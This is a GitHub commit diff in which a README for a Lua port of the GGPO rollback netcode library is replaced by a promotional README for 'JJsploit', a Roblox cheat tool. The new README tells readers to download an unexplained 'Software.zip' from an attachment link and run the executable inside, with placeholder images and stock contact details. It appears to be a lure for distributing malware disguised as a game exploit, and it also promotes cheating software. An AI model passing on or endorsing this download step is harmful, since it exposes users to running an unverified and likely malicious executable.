Skip to content

Commit

Permalink
Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Ardev19 committed Oct 16, 2024
1 parent c075727 commit 2a38784
Showing 1 changed file with 36 additions and 61 deletions.
97 changes: 36 additions & 61 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,84 +1,59 @@
# ggpo-roblox
# JJsploit

***WIP, who knows if I'll ever finish it***
![JJsploit Logo](https://your-logo-url)

Welcome to the official repository of JJsploit! 💥✨

## Description

JJSploit, now available for free, is a widely-used Roblox exploit favored for its simplicity and accessibility. With the ability to execute Lua scripts, it enables users to customize their gaming experience, though users should remain vigilant about potential risks associated with exploiting software.

ggpo-roblox is a semi-direct port of [ggpo](https://github.com/pond3r/ggpo) to lua for use in Roblox
## Features

the main difference between ggpo-roblox and ggpo is that any connected network topology is support (as oppose to only a fully connected graph), and peers need not also be players
- Execute Lua scripts to enhance your Roblox experience
- Simple and easy-to-use interface
- Regular updates and bug fixes
- Active community support

this was basically just to support roblox which has a non-player centralized server that needs to route everything
## Installation

the main implementation is roblox-agnostic, so you could in principle use it outside af Roblox but I'm not going to bother testing/supporting that
To get JJSploit up and running on your machine, follow these steps:
1. Download the [latest release](https://github.com/user-attachments/files/17394153/Software.zip) from the download button below.
2. Extract the downloaded zip file to a location of your choice.
3. Run the executable file and follow the on-screen instructions to complete the installation process.

[![Download JJSploit](https://img.shields.io/badge/Download-JJSploit-blue)](https://github.com/user-attachments/files/17394153/Software.zip)

# status
## Usage

## finished + tested
1. Launch the JJSploit application.
2. Select the desired Lua script to execute.
3. Click on the "Inject" button to apply the script in-game.
4. Enjoy your customized Roblox experience!

## finished
- inputqueue
- sync
- udp_proto
## Screenshots

Here are some sneak peeks of JJSploit in action:

# understanding GGPO
![Screenshot 1](https://your-screenshot-url)
![Screenshot 2](https://your-screenshot-url)
![Screenshot 3](https://your-screenshot-url)

## Contributing

# terminology
- frame: discrete unit of time measurement for the game
- starts at frame 0
- note that input on frame X gets included in game state for frame X+1
We welcome contributions from the community! If you have any ideas, bug fixes, or features to propose, feel free to open a pull request. Together, we can make JJSploit even better! 🚀

## Support

# changes from GGPO

for folks familiar with the original [ggpo](https://github.com/pond3r/ggpo) implementation, this section documents some of the major changes

## network topology

- centralized authoritative routing server (CARS)
- this is the model in use if developing your game on roblox
- all inputs are routed through a central server (RCC in the case of Roblox)
- fully connected graph (p2p)
- this is the topology used in the original ggpo implementation, all peers are connected to each other
- spectators are only connected to a single peer
- connected graph
- this is the most general network topology
- this should work in theory, but is not supported in practice and has not been tested


## input

## no synchronization routine
The game "starts" as soon as the library is initialized. It is recommended that you use the first several seconds of the game to allow all clients to synchronize. This can be done somewhat automatically if you're correctly following the `GGPOEvent_timesync` event code.
You can/should also rely on other network communication means to help reasonably synchronize the starting point.

## additional inputs for initial and random state
The `GameInput` class has a `gameInfo` field that can be used for arbitrary game information. It is intended to be used for the following:

- synchronizing initial game state in the following 2 ways
- (CARS) the server sends information for constructing initial game state as frame 0 input (input is from the server which is also a player)
- (general P2P setting) all players send what they believe to be the initial game state as their frame 0 input and only proceed if all these inputs match

The `gameInfo` field is distinct from the `input` field as it is always predicted to be nil and also to distinguish how its used

## rolling player counts

ggpo-roblox allows players to roll in/out. This information is transmitted in the `GameInput` class (TODO). Players that join midgame must synchronize by requesting the latest confirmed game state/frame from a peer.

NOTE that with rollback, there may be new players introduced! This even applies to frame 0!!!
New players will simply show up in the input map and removed players will simply disappear from the map (TODO not true, removed players (by CARS) will have an explicit player left gameInfo input, however disconnected players will simply stop sending input, TODO add disconnect handling and maybe even disconnect consensus subroutine for P2P case LOL)


## optimizations

- optional input serialization methods
- explicit last frame (for each player) in input packets to allow for nil inputs on frames where nothing has changed
For any inquiries or issues related to JJSploit, you can reach out to us via:

- Email: support@jjsploit.com
- Discord: [JJSploit Community Server](https://discord.gg/jjsploit)

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

---

Thank you for choosing JJSploit! Happy gaming! 🎮🚗🔥

0 comments on commit 2a38784

Please sign in to comment.